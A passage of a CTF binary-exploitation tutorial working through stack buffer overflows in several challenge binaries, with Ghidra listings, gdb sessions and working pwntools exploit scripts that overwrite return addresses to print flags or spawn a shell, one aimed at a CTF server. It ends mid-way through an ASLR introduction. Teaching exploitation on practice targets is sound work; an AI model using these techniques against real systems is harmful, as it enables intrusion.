             char[16]          Stack[-0x28]   vulnBuf                                 XREF[2]:     080486a6(*),
                                                                                                   080486d9(*)  
                             main                                            XREF[4]:     Entry Point(*),
                                                                                          _start:080484d7(*), 0804886c,
                                                                                          080488c8(*)  
        080485bb 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]

So we can see that it can hold 16 bytes worth of data (0x28 - 0x18 = 16). So we effectively have a buffer overflow vulnerability with the fgets call to input. However it appears that we can't reach the eip register to get RCE. However we can reach output_message which is printed with a puts call, right before the function returns. So we can print whatever we want. That makes this code look really helpful:

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    perror("file open error.\n");
    exit(0);
  }
  if ( !fgets(flag, 48, stream) )
  {
    perror("file read error.\n");
    exit(0);
  }

So we can see here that after it opens the flag.txt file, it scans in 48 bytes worth of data into flag. This is interesting because if we can find the address of flag, then we should be able to overwrite the value of output_message with that address and then it should print out the contents of flag, which should be the flag.

  .bss:0804A080 ; char flag[48]
.bss:0804A080 flag            db 30h dup(?)           ; DATA XREF: main+95o
.bss:0804A080 _bss            ends
.bss:0804A080

So here we can see that flag lives in the bss, with the address 0x0804a080. There are 20 bytes worth of data between input and output_message (0x28 - 0x14 = 20). So we can form a payload with 20 null bytes, followed by the address of flag:

  python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
flag{gottem_boyz}

So we were able to read the contents of flag.txt with our exploit. Let's write an exploit to use the same exploit against the server they have with the challenge running to get the flag. Here is the python code:

#Import pwntools
from pwn import *

#Create the remote connection to the challenge
target = remote('pwn1.chal.ctf.westerns.tokyo', 12482)

#Print out the starting prompt
print target.recvuntil("password.\n")

#Create the payload
payload = "\x00"*20 + p32(0x0804a080)

#Send the payload
target.sendline(payload)

#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()

Now let's run it:

$    python exploit.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 12482: Done
Welcome my secret service. Do you know the password?
Input the password.

[*] Switching to interactive mode
TWCTF{pwnable_warmup_I_did_it!}

[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 12482

Just like that, we captured the flag!

Csaw 2016 Quals Warmup

Let's take a look at the binary:

$    file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
$    ./warmup
-Warm Up-
WOW:0x40060d
>15935728

So we can see that we are dealing with a 64 bit binary. When we run it, it displays an address (looks like an address from the code section of the binary, versus another section like the libc) and prompts us for input. When we look at the main function in Ghidra, we see this:

void main(void)

{
  char easyFunctionAddress [64];
  char input [64];
 
  write(1,"-Warm Up-\n",10);
  write(1,&DAT_0040074c,4);
  sprintf(easyFunctionAddress,"%p\n",easy);
  write(1,easyFunctionAddress,9);
  write(1,&DAT_00400755,1);
  gets(input);
  return;
}

So we can see that the address being printed is the address of the function easy (which when we look at it's address in Ghidra we see it's 0x40060d). After that we can see it calls the function gets, which is a bug since it doesn't limit how much data it scans in (and since input can only hold 64 bytes of data, after we write 64 bytes we overflow the buffer and start overwriting other things in memory). With that bug we can totally reach the return address (the address on the stack that is executed after the ret call to return execution back to whatever code called it). For what to call, we see that the easy function will print the flag for us (in order to print the flag, we will need to have a flag.txt file in the same directory as the executable):

void easy(void)

{
  system("cat flag.txt");
  return;
}

So let's use gdb to figure out how much data we need to send before overwriting the return address, so we can land the bug. I will just set a breakpoint for after the gets call:

gef➤  disas main
Dump of assembler code for function main:
   0x000000000040061d <+0>:    push   rbp
   0x000000000040061e <+1>:    mov    rbp,rsp
   0x0000000000400621 <+4>:    add    rsp,0xffffffffffffff80
   0x0000000000400625 <+8>:    mov    edx,0xa
   0x000000000040062a <+13>:    mov    esi,0x400741
   0x000000000040062f <+18>:    mov    edi,0x1
   0x0000000000400634 <+23>:    call   0x4004c0 <write@plt>
   0x0000000000400639 <+28>:    mov    edx,0x4
   0x000000000040063e <+33>:    mov    esi,0x40074c
   0x0000000000400643 <+38>:    mov    edi,0x1
   0x0000000000400648 <+43>:    call   0x4004c0 <write@plt>
   0x000000000040064d <+48>:    lea    rax,[rbp-0x80]
   0x0000000000400651 <+52>:    mov    edx,0x40060d
   0x0000000000400656 <+57>:    mov    esi,0x400751
   0x000000000040065b <+62>:    mov    rdi,rax
   0x000000000040065e <+65>:    mov    eax,0x0
   0x0000000000400663 <+70>:    call   0x400510 <sprintf@plt>
   0x0000000000400668 <+75>:    lea    rax,[rbp-0x80]
   0x000000000040066c <+79>:    mov    edx,0x9
   0x0000000000400671 <+84>:    mov    rsi,rax
   0x0000000000400674 <+87>:    mov    edi,0x1
   0x0000000000400679 <+92>:    call   0x4004c0 <write@plt>
   0x000000000040067e <+97>:    mov    edx,0x1
   0x0000000000400683 <+102>:    mov    esi,0x400755
   0x0000000000400688 <+107>:    mov    edi,0x1
   0x000000000040068d <+112>:    call   0x4004c0 <write@plt>
   0x0000000000400692 <+117>:    lea    rax,[rbp-0x40]
   0x0000000000400696 <+121>:    mov    rdi,rax
   0x0000000000400699 <+124>:    mov    eax,0x0
   0x000000000040069e <+129>:    call   0x400500 <gets@plt>
   0x00000000004006a3 <+134>:    leave  
   0x00000000004006a4 <+135>:    ret    
End of assembler dump.
gef➤  b *main+134
Breakpoint 1 at 0x4006a3
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/csaw16_warmup/warmup
-Warm Up-
WOW:0x40060d
>15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde50  →  "15935728"
$rbx   : 0x0               
$rcx   : 0x00007ffff7dcfa00  →  0x00000000fbad2288
$rdx   : 0x00007ffff7dd18d0  →  0x0000000000000000
$rsp   : 0x00007fffffffde10  →  "0x40060d"
$rbp   : 0x00007fffffffde90  →  0x00000000004006b0  →  <__libc_csu_init+0> push r15
$rsi   : 0x35333935        
$rdi   : 0x00007fffffffde51  →  0x0038323735333935 ("5935728"?)
$rip   : 0x00000000004006a3  →  <main+134> leave
$r8    : 0x0000000000602269  →  0x0000000000000000
$r9    : 0x00007ffff7fda4c0  →  0x00007ffff7fda4c0  →  [loop detected]
$r10   : 0x0000000000602010  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0000000000400520  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf70  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde10│+0x0000: "0x40060d"     ← $rsp
0x00007fffffffde18│+0x0008: 0x000000000000000a
0x00007fffffffde20│+0x0010: 0x0000000000000000
0x00007fffffffde28│+0x0018: 0x0000000000000000
0x00007fffffffde30│+0x0020: 0x0000000000000000
0x00007fffffffde38│+0x0028: 0x0000000000000000
0x00007fffffffde40│+0x0030: 0x0000000000000000
0x00007fffffffde48│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400694 <main+119>       rex.RB ror BYTE PTR [r8-0x77], 0xc7
     0x400699 <main+124>       mov    eax, 0x0
     0x40069e <main+129>       call   0x400500 <gets@plt>
 →   0x4006a3 <main+134>       leave  
     0x4006a4 <main+135>       ret    
     0x4006a5                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x4006af                  nop    
     0x4006b0 <__libc_csu_init+0> push   r15
     0x4006b2 <__libc_csu_init+2> mov    r15d, edi
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a3 in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602260 - 0x602268  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde50 - 0x7fffffffde58  →   "15935728"
gef➤  i f
Stack level 0, frame at 0x7fffffffdea0:
 rip = 0x4006a3 in main; saved rip = 0x7ffff7a05b97
 Arglist at 0x7fffffffde90, args:
 Locals at 0x7fffffffde90, Previous frame's sp is 0x7fffffffdea0
 Saved registers:
  rbp at 0x7fffffffde90, rip at 0x7fffffffde98

With a bit of math, we see the offset:

>>> hex(0x7fffffffde98 - 0x7fffffffde50)
'0x48'

So we can see that after 0x48 bytes of input, we start overwriting the return address. With all of this, we can write the exploit;

from pwn import *

target = process('./warmup')
#gdb.attach(target, gdbscript = 'b *0x4006a3')

# Make the payload
payload = ""
payload += "0"*0x48 # Overflow the buffer up to the return address
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function

# Send the payload
target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './warmup': pid 4652
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive

Just like that, we got the flag! As a sidenote, I've heard of instances where in certain enviornments the offset is 0x40 instead of 0x48.

Csaw Quals 2018 Get It

Let's take a look at the binary:

$    file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
$    pwn checksec get_it
[*] '/Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./get_it
Do you gets it??
15935728

So we can see that we are given a 64 bit binary, with a Non-Executable stack (that mitigation will be covered later). When we run it, we see that it prompts us for input. When we take a look at the main function in Ghidra, we see this:

undefined8 main(void)

{
  char input [32];
 
  puts("Do you gets it??");
  gets(input);
  return 0;
}

So we can see that it makes a call to the gets function with the char buffer input as an argument. This is a bug. The thing about the gets function, is that there is no size restriction on the amount of data it will scan in. It will just scan in data until it gets either a newline character or EOF (or something causes it to crash). Because if this we can write more data to input than it can hold (which it can hold 32 bytes worth of data) and we will overflow it. The data that we overflow will start overwriting subsequent things in memory. Looking at this function we don't see any other variables that we can overwrite. However we can definitely overwrite the saved return address.

When a function is called, two values that are saved are the base pointer (points to the base of the stack) and instruction pointer (pointing to the instruction following the call). This way when the function is done executing and returns, code execution can pick up where it left off and the code knows where the stack is. These values make up the saved base pointer and saved return address, and in x64 the saved base pointer is stored at rbp+0x0 and the saved instruction pointer is stored at rbp+0x8.

So when the ret instruction, the saved instruction pointer (stored at rbp+0x8) is executed. This address is on the stack, and we can reach it with the gets function call. So we will just overwrite it with a value we want, and we will decide what code the program executes. The offset between the start of our input and the return address is 40 bytes. The first 32 bytes come from the input char buffer we have to fill up. After that we can see there are no variables between input and the saved base pointer (if there was a stack canary that would be a different story, but I'll save that for later). After that we have 8 bytes for the saved base pointer, then we reach the saved instruction pointer. We can also see this in memory with gdb:

gef➤  disas main
Dump of assembler code for function main:
   0x00000000004005c7 <+0>:    push   rbp
   0x00000000004005c8 <+1>:    mov    rbp,rsp
   0x00000000004005cb <+4>:    sub    rsp,0x30
   0x00000000004005cf <+8>:    mov    DWORD PTR [rbp-0x24],edi
   0x00000000004005d2 <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x00000000004005d6 <+15>:    mov    edi,0x40068e
   0x00000000004005db <+20>:    call   0x400470 <puts@plt>
   0x00000000004005e0 <+25>:    lea    rax,[rbp-0x20]
   0x00000000004005e4 <+29>:    mov    rdi,rax
   0x00000000004005e7 <+32>:    mov    eax,0x0
   0x00000000004005ec <+37>:    call   0x4004a0 <gets@plt>
   0x00000000004005f1 <+42>:    mov    eax,0x0
   0x00000000004005f6 <+47>:    leave  
   0x00000000004005f7 <+48>:    ret    
End of assembler dump.
gef➤  b *0x4005f1
Breakpoint 1 at 0x4005f1
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it
Do you gets it??
15935728

We set a breakpoint for right after the gets call:

Breakpoint 1, 0x00000000004005f1 in main ()
gef➤  i f
Stack level 0, frame at 0x7fffffffdea0:
 rip = 0x4005f1 in main; saved rip = 0x7ffff7a05b97
 Arglist at 0x7fffffffde90, args:
 Locals at 0x7fffffffde90, Previous frame's sp is 0x7fffffffdea0
 Saved registers:
  rbp at 0x7fffffffde90, rip at 0x7fffffffde98
gef➤  x/g $rbp+0x8
0x7fffffffde98:    0x00007ffff7a05b97
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602670 - 0x602678  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde70 - 0x7fffffffde78  →   "15935728"

So we can see that the return address i stored at 0x7fffffffde98. Our input begins at 0x7fffffffde70. This gives us a 0x7fffffffde98 - 0x7fffffffde70 = 0x28 byte offset (0x28 = 40). So we just have to write 40 bytes worth of input and we can write over the return address. That address will be executed when the ret instruction is executed, giving us code execution. The question is now what do we want to execute? Looking through the list of functions in Ghidra, we see that there is a give_shell function:

void give_shell(void)

{
  system("/bin/bash");
  return;
}

This function looks like it just gives us a shell by calling system("/bin/bash"). In the assembly viewer we can see that it starts at 0x4005b6. So we can just call the give_shell function by writing over the return address with 0x4005b6 and that should give us a shell. Putting it all together, we get the following exploit:

from pwn import *

target = process("./get_it")
#gdb.attach(target, gdbscript = 'b *0x4005f1')

payload = ""
payload += "0"*40 # Padding to the return address
payload += p64(0x4005b6) # Address of give_shell in least endian, will be new saved return address

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use the new shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './get_it': pid 2969
[*] running in new terminal: /usr/bin/gdb -q  "./get_it" 2969 -x "/tmp/pwndObRhj.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Do you gets it??
$ w
 23:38:26 up 1 min,  1 user,  load average: 1.77, 0.67, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               23:37    1:20   2.71s  0.14s /sbin/upstart --user
$ ls
exploit.py  get_it

Just like that we got a shell!

tuctf 2017 vulnchat

Let's take a look at the binary:

$    file vuln-chat
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped
$    ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: 15935728
Welcome 15935728!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
15935728: you don't
djinn: Sorry. That's not good enough

So we can see that we are dealing with a 32 bit elf binary. When we run it, it prompts us for two seperate inputs. The first is a username, and the second is a string that is supposed to make it trust us. Taking a look at the main function in Ghidra we see this:

undefined4 main(void)

{
  undefined password [20];
  undefined name [20];
  undefined4 fmt;
  undefined local_5;
 
  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("----------- Welcome to vuln-chat -------------");
  printf("Enter your username: ");
  fmt = 0x73303325;
  local_5 = 0;
  __isoc99_scanf(&fmt,name);
  printf("Welcome %s!\n",name);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: I have the information. But how do I know I can trust you?");
  printf("%s: ",name);
  __isoc99_scanf(&fmt,password);
  puts("djinn: Sorry. That\'s not good enough");
  fflush(stdout);
  return 0;
}

So we can see, the program essentially calls scanf twice. The input is first scanned into name, then into password. The format specifier is stored on the stack in the fmt variable. We can see in the assembly code that it is initialized to %30s (we have to convert the data to a char sequence):

        080485be c7 45 fb        MOV        dword ptr [EBP + fmt],"%30s"
                 25 33 30 73

So both times by default it will let us scan in 30 characters, which will let us scan in 30 bytes worth of data. Next we take a look at the stack layout in Ghidra:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x5]:1  local_5                                 XREF[1]:     080485c5(W)  
             undefined4        Stack[-0x9]:4  fmt                                     XREF[3]:     080485be(W),
                                                                                                   080485cd(*),
                                                                                                   08048630(*)  
             undefined[20]     Stack[-0x1d]   name                                    XREF[3]:     080485c9(*),
                                                                                                   080485d9(*),
                                                                                                   0804861b(*)  
             undefined[20]     Stack[-0x31]   password                                XREF[1]:     0804862c(*)  
                             main                                            XREF[4]:     Entry Point(*),
                                                                                          _start:08048487(*), 08048830,
                                                                                          080488ac(*)  
        0804858a 55              PUSH       EBP

So we can see that password is stored at offset -0x31, name is stored at offset -0x1d, and fmt is stored at -0x9. The password char array can hold 0x31 - 0x1d = 0x14 bytes. The name char array can hold 0x1d - 0x9 = 0x14 bytes worth of data too. Since we can scan in 30 bytes worth of data, this gives us a 10 byte overflow in both cases. With our given setup we won't be able to get code execution with either overflow alone. However with the first overflow (the one to name) we will be able to overwrite the value of fmt. This will allow us to specify how much data the second scanf call will scan. With that we will be able to scan in more than enough data to overwrite the saved return address, and get code execution when the ret instruction executes.

For what function to call, the printFlag function at 0x804856b seems to be a good candidate. It just prints the context of the flag using cat (also to get the flag, we need to have a copy of flag.txt in the same directory as the binary):

void printFlag(void)

{
  system("/bin/cat ./flag.txt");
  puts("Use it wisely");
  return;
}

So let's take a look at how the memory is corrupted during the exploit. First I set a breakpoint for right after the second scanf call:

gef➤  b *0x8048639
Breakpoint 1 at 0x8048639
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: 15935728
Welcome 15935728!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
15935728: 75395128
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1       
$ebx   : 0x0       
$ecx   : 0x1       
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffd030  →  0xffffd063  →  "%30s"
$ebp   : 0xffffd068  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0       
$eip   : 0x08048639  →  <main+175> add esp, 0x8
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd030│+0x0000: 0xffffd063  →  "%30s"     ← $esp
0xffffd034│+0x0004: 0xffffd03b  →  "75395128"
0xffffd038│+0x0008: 0x37049a10
0xffffd03c│+0x000c: "5395128"
0xffffd040│+0x0010: 0x00383231 ("128"?)
0xffffd044│+0x0014: 0xffffd104  →  0xffffd2b4  →  "/Hackery/pod/modules/bof_callfunction/tu17_vulncha[...]"
0xffffd048│+0x0018: 0xffffd10c  →  0xffffd2f2  →  "CLUTTER_IM_MODULE=xim"
0xffffd04c│+0x001c: 0x31e076a5
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048630 <main+166>       lea    eax, [ebp-0x5]
    0x8048633 <main+169>       push   eax
    0x8048634 <main+170>       call   0x8048460 <__isoc99_scanf@plt>
 →  0x8048639 <main+175>       add    esp, 0x8
    0x804863c <main+178>       push   0x80487ec
    0x8048641 <main+183>       call   0x8048410 <puts@plt>
    0x8048646 <main+188>       add    esp, 0x4
    0x8048649 <main+191>       mov    eax, ds:0x8049a60
    0x804864e <main+196>       push   eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln-chat", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048639 → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048639 in main ()
gef➤  search-pattern 75395128
[+] Searching '75395128' in memory
[+] In '[heap]'(0x804a000-0x806c000), permission=rw-
  0x804a160 - 0x804a168  →   "75395128"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd03b - 0xffffd043  →   "75395128"
gef➤  search-pattern %30s
[+] Searching '%30s' in memory
[+] In '/Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-chat'(0x8048000-0x8049000), permission=r-x
  0x80485c1 - 0x80485c5  →   "%30s[...]"
[+] In '/Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-chat'(0x8049000-0x804a000), permission=rw-
  0x80495c1 - 0x80495c5  →   "%30s[...]"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd063 - 0xffffd067  →   "%30s"
gef➤  x/14x 0xffffd03b
0xffffd03b:    0x39333537    0x38323135    0xffd10400    0xffd10cff
0xffffd04b:    0xe076a5ff    0x33393531    0x38323735    0x04866b00
0xffffd05b:    0x00000008    0xfaf00000    0x73303325    0x00000000
0xffffd06b:    0xdefe8100    0x000001f7
gef➤  i f
Stack level 0, frame at 0xffffd070:
 eip = 0x8048639 in main; saved eip = 0xf7defe81
 Arglist at 0xffffd068, args:
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebp at 0xffffd068, eip at 0xffffd06c

So we can see that the format string is stored at 0xffffd063, which is 20 bytes away from our name at 0xffffd04f. Our second input begins at 0xffffd03b which is 0x31 bytes away from the return address at 0xffffd06c. Also one thing, the memory layout here probably looks a bit weird. The reason for this is x86 is designed around 4 byte values (although it can handle a lot of different sizes for value types), so most addresses (with the except of variable length ones) are aligned to either 0x0, 0x4, 0x8, or 0xc. However our char array (which can be a wide array of values) starts at 0xffffd03b, so it messes up the alignment when we view the memory using it as a reference.

Putting it all together, we get the following exploit:

from pwn import *

# Establish the target process
target = process('./vuln-chat')

# Print the initial text
print target.recvuntil("username: ")

# Form the first payload to overwrite the scanf format string
payload0 = ""
payload0 += "0"*0x14 # Fill up space to format string
payload0 += "%99s" # Overwrite it with "%99s"

# Send the payload with a newline character
target.sendline(payload0)

# Print the text up to the second scanf call
print target.recvuntil("I know I can trust you?")

# From the second payload to overwrite the return address
payload1 = ""
payload1 += "1"*0x31 # Filler space to return address
payload1 += p32(0x804856b) # Address of the print_flag function

# Send the second payload with a newline character
target.sendline(payload1)

# Drop to an interactive shell to view the rest of the input
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './vuln-chat': pid 9724
----------- Welcome to vuln-chat -------------
Enter your username:
Welcome 00000000000000000000%99s!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
[*] Switching to interactive mode

00000000000000000000%99s: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
[*] Got EOF while reading in interactive
$  

Just like that we got a shell!

aslr/pie intro

With exploiting binaries, there are various mitigations that you will face that will make it harder to exploit. Defeating them is usually just one step for actually gainning control over a program (assuming that the mitigation stands in your way). Since it is just something that stands in your way, and since for the modules I like to cover a new type of bug / exploitation technique, I didn't make a module dedicated to each of the mitigations you will see. However you still do see them (or some combination of the,) nearly everywhere through this project. So the purpose of these is to give you a brief explanation as to what they are.

So what is address space randomization (aslr)? Processes have memory. All of the memory addresses to each byte. Aslr randomization that in certain memory region such as the stack and the heap. This keeps us from knowing what the memory addresses are for certain regions of memory.

For instance, let's take a look at the address of this one stack variable, one iteration of running this binary:

Breakpoint 1, 0x0000000000401161 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffabfee6fe  →  0x7fffabfee7f0000a
$rbx   : 0x0               
$rcx   : 0xfbad2088        
$rdx   : 0x00007fffabfee6fe  →  0x7fffabfee7f0000a
$rsp   : 0x00007fffabfee6f0  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rbp   : 0x00007fffabfee710  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007f4512ce4590  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x0000000000401161  →  <main+47> mov DWORD PTR [rbp-0x18], 0x5
$r8    : 0x0000000001100010  →  0x0000000000000000
$r9    : 0x63              
$r10   : 0x00007f4512ce1ca0  →  0x0000000001101260  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffabfee7f0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffabfee6f0│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rsp
0x00007fffabfee6f8│+0x0008: 0x000a000000401050
0x00007fffabfee700│+0x0010: 0x00007fffabfee7f0  →  0x0000000000000001
0x00007fffabfee708│+0x0018: 0x29e19ee33cdef200
0x00007fffabfee710│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rbp
0x00007fffabfee718│+0x0028: 0x00007f4512b23b6b  →  <__libc_start_main+235> mov edi, eax
0x00007fffabfee720│+0x0030: 0x0000000000000000
0x00007fffabfee728│+0x0038: 0x00007fffabfee7f8  →  0x00007fffabfef410  →  0x4e47007972742f2e ("./try"?)
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401154 <main+34>        mov    esi, 0x9
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
 →   0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
     0x401168 <main+54>        nop    
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401161 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/g $rbp-0x18
0x7fffabfee6f8:    0xa000000401050

We can see that for this iteration, the variable at rbp-0x18 has the address 0x7fffabfee6f8. Let's see what the address is on another iteration of running the binary:

Breakpoint 1, 0x0000000000401161 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffcdc7caf6e  →  0x7ffcdc7cb060000a
$rbx   : 0x0               
$rcx   : 0xfbad2088        
$rdx   : 0x00007ffcdc7caf6e  →  0x7ffcdc7cb060000a
$rsp   : 0x00007ffcdc7caf60  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rbp   : 0x00007ffcdc7caf80  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007ff338fda590  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x0000000000401161  →  <main+47> mov DWORD PTR [rbp-0x18], 0x5
$r8    : 0x00000000023b9010  →  0x0000000000000000
$r9    : 0x63              
$r10   : 0x00007ff338fd7ca0  →  0x00000000023ba260  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffcdc7cb060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffcdc7caf60│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rsp
0x00007ffcdc7caf68│+0x0008: 0x000a000000401050
0x00007ffcdc7caf70│+0x0010: 0x00007ffcdc7cb060  →  0x0000000000000001
0x00007ffcdc7caf78│+0x0018: 0x7065c5c264020400
0x00007ffcdc7caf80│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rbp
0x00007ffcdc7caf88│+0x0028: 0x00007ff338e19b6b  →  <__libc_start_main+235> mov edi, eax
0x00007ffcdc7caf90│+0x0030: 0x0000000000000000
0x00007ffcdc7caf98│+0x0038: 0x00007ffcdc7cb068  →  0x00007ffcdc7cb410  →  0x4e47007972742f2e ("./try"?)
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401154 <main+34>        mov    esi, 0x9
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
 →   0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
     0x401168 <main+54>        nop    
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401161 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/g $rbp-0x18
0x7ffcdc7caf68:    0xa000000401050

